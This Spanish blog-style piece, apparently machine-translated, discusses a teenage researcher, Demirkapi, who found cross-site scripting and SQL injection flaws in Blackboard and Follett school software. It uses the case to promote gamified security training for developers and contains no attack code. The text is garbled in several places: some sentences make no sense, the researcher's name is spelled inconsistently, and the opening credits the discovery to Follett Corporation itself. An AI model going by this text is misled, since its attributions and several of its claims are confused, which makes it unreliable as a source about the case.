Demircapí presentó los resultados de su investigación en la conferencia de este año. El icono Def, los detalles más divertidos de sus bromas están recibiendo el aplauso del público. Así es. De hecho, Follett Corporation se enfrentó a muchos obstáculos al principio para que se reconociera el descubrimiento que había hecho al sumergirse en libros de mala calidad, pero, agradeciendo sus esfuerzos y siguiendo sus consejos, finalmente reforzó la seguridad del software y evitó lo que podría haber sido otra crisis de filtración de datos. Además, tiene previsto ingresar en la Universidad Tecnológica de Rochester tras graduarse en el instituto, por lo que está claro que va por el buen camino para convertirse en un experto en seguridad muy solicitado.

Como responsable de seguridad, me resulta difícil no cuestionar cómo se ha gestionado esta situación. En este caso, todo ha salido bien, pero al principio se le trató como a un molesto guionista novato que se entrometía en asuntos que no le incumbían.Si se busca este caso en Google, hay artículos que se refieren a él como «hacker» (los profanos en materia de seguridad lo consideran un villano en muchos aspectos). De hecho, su enfoque (y el de muchas otras personas) ayuda a proteger los datos de forma segura.

Se necesitan personas curiosas, inteligentes y centradas en la seguridad. Y este tipo de cosas deberían ocurrir con mucha más frecuencia. En julio, más de 4000 millones de registros se vieron expuestos a violaciones de datos maliciosas solo este año. En agosto, gracias a la violación de la seguridad de la marca de moda y estilo de vida Poshmark, se pueden añadir 50 millones de dólares más a esta cifra.

Nosotros también estamos cometiendo el mismo error. Lo que es más preocupante aún es que estas vulnerabilidades, que a menudo son simples vulnerabilidades que nos provocan irritación, nos siguen haciendo caer.

El cross-site scripting y la inyección SQL no han desaparecido.

Según lo informado por Yoo Seon, Demirkapi ha confirmado que el software de participación comunitaria de Blackboard y el sistema de información estudiantil de Follets contienen errores de seguridad comunes, como scripts entre sitios (XSS) e inyección SQL, ambos de los cuales han sido señalados por los expertos en seguridad desde la década de 1990. Hemos mantenido firme su presencia por su importancia. Hace mucho tiempo, como las camisetas de colores vivos y los disquetes, ahora solo quedan como un recuerdo lejano.

Pero no es así. Y está claro que no hay suficientes desarrolladores con la concienciación necesaria en materia de seguridad como para impedir que se introduzcan estas funciones en el código. Las herramientas de escaneo y la revisión manual del código tienen un alcance limitado, y los problemas de seguridad son mucho más complejos que los de XSS y la inyección SQL. Esto se debe a que se pueden aprovechar mejor estos métodos, que requieren mucho tiempo y dinero.

Personas como Bill Demirkapi deben inspirar a los desarrolladores a crear código de mayor calidad. Con solo 17 años, comprometió dos sistemas con mucho tráfico a través de un vector de amenaza que debería haber detectado y corregido antes de confirmar el código.

Juego: ¿Cuál es la clave de la participación?

He escrito mucho sobre ello. Para explicar brevemente por qué los desarrolladores siguen sin involucrarse mucho en la seguridad, diré que no se está haciendo un gran esfuerzo a nivel organizativo o educativo para formar desarrolladores con buenos conocimientos de seguridad. Si las empresas dedican tiempo a hablar el idioma de los desarrolladores y les ofrecen formación que les motive a seguir intentándolo, además de recompensarles por su participación y crear una cultura de seguridad que les reconozca, empezarán a desaparecer esas molestas vulnerabilidades de los programas que usamos.

Demirkapi claramente tiene un interés especial en la seguridad y ha dedicado tiempo a aprender a realizar ingeniería inversa de malware, encontrar fallos y destruir cosas que, desde fuera, no parecen estar averiadas. Sin embargo, al conversar con él (y a través de las diapositivas de DEF CON), hizo una declaración interesante sobre su autoaprendizaje... Lo convirtió en un juego.

«El objetivo era encontrar algo en el software de la escuela, por lo que fue un método divertido y gamificado que me permitió aprender por mi cuenta una cantidad considerable de pruebas de penetración. Empecé a investigar con la intención de obtener más información, pero al final descubrí que la situación era mucho peor de lo que esperaba», afirmó.

No todos los desarrolladores quieren especializarse en seguridad, pero todos deben tener la oportunidad de comprenderla. En particular, los conocimientos básicos de los desarrolladores que gestionan grandes cantidades de datos confidenciales actúan casi como una «licencia para escribir código» dentro de la organización. Si todos los desarrolladores pudieran corregir las vulnerabilidades de seguridad más simples antes incluso de crearlas, estaríamos en una posición mucho más segura frente a los desarrolladores que buscan causar estragos.

¿Le interesa la educación gamificada? Eche un vistazo a la serie Coders Conquer Security en el siguiente enlace. XSS y inyección SQL.